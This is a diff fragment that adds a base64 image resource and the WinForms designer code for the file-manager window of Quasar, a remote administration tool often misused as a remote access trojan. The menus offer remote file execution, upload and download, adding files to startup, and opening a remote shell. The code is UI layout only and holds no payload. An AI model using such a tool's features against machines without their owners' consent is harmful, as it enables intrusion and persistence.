Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.Designer.cs new file mode 100755 index 0000000..35798df --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.Designer.cs @@ -0,0 +1,753 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmFileManager + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmFileManager)); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter2 = new Quasar.Server.Utilities.ListViewColumnSorter(); + this.contextMenuStripDirectory = new System.Windows.Forms.ContextMenuStrip(this.components); + this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.line2ToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.cutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.pasteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineCopyPasteToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.addToStartupToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.quickNavigateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navDownloadsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navDocumentsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navAppDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navLocalAppDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navProgramDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navProgramFilesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navProgramFilesX86ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navStartupToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navTempToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navWindowsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.line3ToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.previewToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.line4ToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.openDirectoryInShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imgListDirectory = new System.Windows.Forms.ImageList(this.components); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel(); + this.contextMenuStripTransfers = new System.Windows.Forms.ContextMenuStrip(this.components); + this.cancelToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripSeparator(); + this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); + this.TabControlFileManager = new Quasar.Server.Controls.DotNetBarTabControl(); + this.tabFileExplorer = new System.Windows.Forms.TabPage(); + this.btnRefresh = new System.Windows.Forms.Button(); + this.lblPath = new System.Windows.Forms.Label(); + this.txtPath = new System.Windows.Forms.TextBox(); + this.lstDirectory = new Quasar.Server.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lblDrive = new System.Windows.Forms.Label(); + this.cmbDrives = new System.Windows.Forms.ComboBox(); + this.tabTransfers = new System.Windows.Forms.TabPage(); + this.btnOpenDLFolder = new System.Windows.Forms.Button(); + this.lstTransfers = new Quasar.Server.Controls.AeroListView(); + this.hID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hTransferType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hFilename = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStripDirectory.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.contextMenuStripTransfers.SuspendLayout(); + this.TabControlFileManager.SuspendLayout(); + this.tabFileExplorer.SuspendLayout(); + this.tabTransfers.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStripDirectory + // + this.contextMenuStripDirectory.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.downloadToolStripMenuItem, + this.uploadToolStripMenuItem, + this.lineToolStripMenuItem, + this.executeToolStripMenuItem, + this.renameToolStripMenuItem, + this.deleteToolStripMenuItem, + this.line2ToolStripMenuItem, + this.copyToolStripMenuItem, + this.cutToolStripMenuItem, + this.pasteToolStripMenuItem, + this.lineCopyPasteToolStripMenuItem, + this.addToStartupToolStripMenuItem, + this.quickNavigateToolStripMenuItem, + this.line3ToolStripMenuItem, + this.previewToolStripMenuItem, + this.line4ToolStripMenuItem, + this.refreshToolStripMenuItem, + this.openDirectoryInShellToolStripMenuItem}); + this.contextMenuStripDirectory.Name = "ctxtMenu"; + this.contextMenuStripDirectory.Size = new System.Drawing.Size(288, 346); + this.contextMenuStripDirectory.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStripDirectory_Opening); + // + // downloadToolStripMenuItem + // + this.downloadToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.downloadToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("downloadToolStripMenuItem.Image"))); + this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.downloadToolStripMenuItem.Text = "Download"; + this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); + // + // uploadToolStripMenuItem + // + this.uploadToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.uploadToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uploadToolStripMenuItem.Image"))); + this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; + this.uploadToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.uploadToolStripMenuItem.Text = "Upload"; + this.uploadToolStripMenuItem.Click += new System.EventHandler(this.uploadToolStripMenuItem_Click); + // + // lineToolStripMenuItem + // + this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; + this.lineToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // executeToolStripMenuItem + // + this.executeToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.executeToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("executeToolStripMenuItem.Image"))); + this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; + this.executeToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.executeToolStripMenuItem.Text = "Execute"; + this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click); + // + // renameToolStripMenuItem + // + this.renameToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.renameToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.textfield_rename; + this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; + this.renameToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.renameToolStripMenuItem.Text = "Rename"; + this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameToolStripMenuItem_Click); + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.deleteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click); + // + // line2ToolStripMenuItem + // + this.line2ToolStripMenuItem.Name = "line2ToolStripMenuItem"; + this.line2ToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // copyToolStripMenuItem + // + this.copyToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.copyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; + this.copyToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.C))); + this.copyToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.copyToolStripMenuItem.Text = "Copy"; + this.copyToolStripMenuItem.Click += new System.EventHandler(this.copyToolStripMenuItem_Click); + // + // cutToolStripMenuItem + // + this.cutToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.cutToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_edit; + this.cutToolStripMenuItem.Name = "cutToolStripMenuItem"; + this.cutToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.X))); + this.cutToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.cutToolStripMenuItem.Text = "Cut"; + this.cutToolStripMenuItem.Click += new System.EventHandler(this.cutToolStripMenuItem_Click); + // + // pasteToolStripMenuItem + // + this.pasteToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.pasteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; + this.pasteToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.V))); + this.pasteToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.pasteToolStripMenuItem.Text = "Paste"; + this.pasteToolStripMenuItem.Click += new System.EventHandler(this.pasteToolStripMenuItem_Click); + // + // lineCopyPasteToolStripMenuItem + // + this.lineCopyPasteToolStripMenuItem.Name = "lineCopyPasteToolStripMenuItem"; + this.lineCopyPasteToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // addToStartupToolStripMenuItem + // + this.addToStartupToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.addToStartupToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; + this.addToStartupToolStripMenuItem.Name = "addToStartupToolStripMenuItem"; + this.addToStartupToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.addToStartupToolStripMenuItem.Text = "Add to Startup"; + this.addToStartupToolStripMenuItem.Click += new System.EventHandler(this.addToStartupToolStripMenuItem_Click); + // + // quickNavigateToolStripMenuItem + // + this.quickNavigateToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.navDesktopToolStripMenuItem, + this.navDownloadsToolStripMenuItem, + this.navDocumentsToolStripMenuItem, + this.navAppDataToolStripMenuItem, + this.navLocalAppDataToolStripMenuItem, + this.navProgramDataToolStripMenuItem, + this.navProgramFilesToolStripMenuItem, + this.navProgramFilesX86ToolStripMenuItem, + this.navStartupToolStripMenuItem, + this.navTempToolStripMenuItem, + this.navWindowsToolStripMenuItem}); + this.quickNavigateToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.quickNavigateToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.quickNavigateToolStripMenuItem.Name = "quickNavigateToolStripMenuItem"; + this.quickNavigateToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.quickNavigateToolStripMenuItem.Text = "Quick Navigate"; + // + // navDesktopToolStripMenuItem + // + this.navDesktopToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navDesktopToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navDesktopToolStripMenuItem.Name = "navDesktopToolStripMenuItem"; + this.navDesktopToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navDesktopToolStripMenuItem.Text = "Desktop"; + this.navDesktopToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navDownloadsToolStripMenuItem + // + this.navDownloadsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navDownloadsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navDownloadsToolStripMenuItem.Name = "navDownloadsToolStripMenuItem"; + this.navDownloadsToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navDownloadsToolStripMenuItem.Text = "Downloads"; + this.navDownloadsToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navDocumentsToolStripMenuItem + // + this.navDocumentsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navDocumentsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navDocumentsToolStripMenuItem.Name = "navDocumentsToolStripMenuItem"; + this.navDocumentsToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navDocumentsToolStripMenuItem.Text = "Documents"; + this.navDocumentsToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navAppDataToolStripMenuItem + // + this.navAppDataToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navAppDataToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navAppDataToolStripMenuItem.Name = "navAppDataToolStripMenuItem"; + this.navAppDataToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navAppDataToolStripMenuItem.Text = "AppData (Roaming)"; + this.navAppDataToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navLocalAppDataToolStripMenuItem + // + this.navLocalAppDataToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navLocalAppDataToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navLocalAppDataToolStripMenuItem.Name = "navLocalAppDataToolStripMenuItem"; + this.navLocalAppDataToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navLocalAppDataToolStripMenuItem.Text = "AppData (Local)"; + this.navLocalAppDataToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navProgramDataToolStripMenuItem + // + this.navProgramDataToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navProgramDataToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navProgramDataToolStripMenuItem.Name = "navProgramDataToolStripMenuItem"; + this.navProgramDataToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navProgramDataToolStripMenuItem.Text = "ProgramData"; + this.navProgramDataToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navProgramFilesToolStripMenuItem + // + this.navProgramFilesToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navProgramFilesToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navProgramFilesToolStripMenuItem.Name = "navProgramFilesToolStripMenuItem"; + this.navProgramFilesToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navProgramFilesToolStripMenuItem.Text = "Program Files"; + this.navProgramFilesToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navProgramFilesX86ToolStripMenuItem + // + this.navProgramFilesX86ToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navProgramFilesX86ToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navProgramFilesX86ToolStripMenuItem.Name = "navProgramFilesX86ToolStripMenuItem"; + this.navProgramFilesX86ToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navProgramFilesX86ToolStripMenuItem.Text = "Program Files (x86)"; + this.navProgramFilesX86ToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navStartupToolStripMenuItem + // + this.navStartupToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navStartupToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navStartupToolStripMenuItem.Name = "navStartupToolStripMenuItem"; + this.navStartupToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navStartupToolStripMenuItem.Text = "Startup Folder"; + this.navStartupToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navTempToolStripMenuItem + // + this.navTempToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navTempToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navTempToolStripMenuItem.Name = "navTempToolStripMenuItem"; + this.navTempToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navTempToolStripMenuItem.Text = "Temp"; + this.navTempToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navWindowsToolStripMenuItem + // + this.navWindowsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navWindowsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navWindowsToolStripMenuItem.Name = "navWindowsToolStripMenuItem"; + this.navWindowsToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navWindowsToolStripMenuItem.Text = "Windows"; + this.navWindowsToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // line3ToolStripMenuItem + // + this.line3ToolStripMenuItem.Name = "line3ToolStripMenuItem"; + this.line3ToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // previewToolStripMenuItem + // + this.previewToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.previewToolStripMenuItem.Name = "previewToolStripMenuItem"; + this.previewToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.previewToolStripMenuItem.Text = "Preview Image"; + this.previewToolStripMenuItem.Click += new System.EventHandler(this.previewToolStripMenuItem_Click); + // + // line4ToolStripMenuItem + // + this.line4ToolStripMenuItem.Name = "line4ToolStripMenuItem"; + this.line4ToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // openDirectoryInShellToolStripMenuItem + // + this.openDirectoryInShellToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.openDirectoryInShellToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.terminal; + this.openDirectoryInShellToolStripMenuItem.Name = "openDirectoryInShellToolStripMenuItem"; + this.openDirectoryInShellToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.openDirectoryInShellToolStripMenuItem.Text = "Open Directory in Remote Shell"; + this.openDirectoryInShellToolStripMenuItem.Click += new System.EventHandler(this.openDirectoryToolStripMenuItem_Click); + // + // imgListDirectory + // + this.imgListDirectory.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListDirectory.ImageStream"))); + this.imgListDirectory.TransparentColor = System.Drawing.Color.Transparent; + this.imgListDirectory.Images.SetKeyName(0, "back.png"); + this.imgListDirectory.Images.SetKeyName(1, "folder.png"); + this.imgListDirectory.Images.SetKeyName(2, "file.png"); + this.imgListDirectory.Images.SetKeyName(3, "application.png"); + this.imgListDirectory.Images.SetKeyName(4, "text.png"); + this.imgListDirectory.Images.SetKeyName(5, "archive.png"); + this.imgListDirectory.Images.SetKeyName(6, "word.png"); + this.imgListDirectory.Images.SetKeyName(7, "pdf.png"); + this.imgListDirectory.Images.SetKeyName(8, "image.png"); + this.imgListDirectory.Images.SetKeyName(9, "movie.png"); + this.imgListDirectory.Images.SetKeyName(10, "music.png"); + // + // statusStrip + // + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.stripLblStatus}); + this.statusStrip.Location = new System.Drawing.Point(0, 572); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Padding = new System.Windows.Forms.Padding(1, 0, 18, 0); + this.statusStrip.Size = new System.Drawing.Size(1072, 26); + this.statusStrip.TabIndex = 3; + this.statusStrip.Text = "statusStrip1"; + // + // stripLblStatus + // + this.stripLblStatus.Name = "stripLblStatus"; + this.stripLblStatus.Size = new System.Drawing.Size(162, 20); + this.stripLblStatus.Text = "Status: Loading drives..."; + // + // contextMenuStripTransfers + // + this.contextMenuStripTransfers.ImageScalingSize = new System.Drawing.Size(20, 20); + this.contextMenuStripTransfers.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.cancelToolStripMenuItem, + this.toolStripMenuItem1, + this.clearToolStripMenuItem}); + this.contextMenuStripTransfers.Name = "ctxtMenu2"; + this.contextMenuStripTransfers.Size = new System.Drawing.Size(177, 62); + // + // cancelToolStripMenuItem + // + this.cancelToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.cancelToolStripMenuItem.Name = "cancelToolStripMenuItem"; 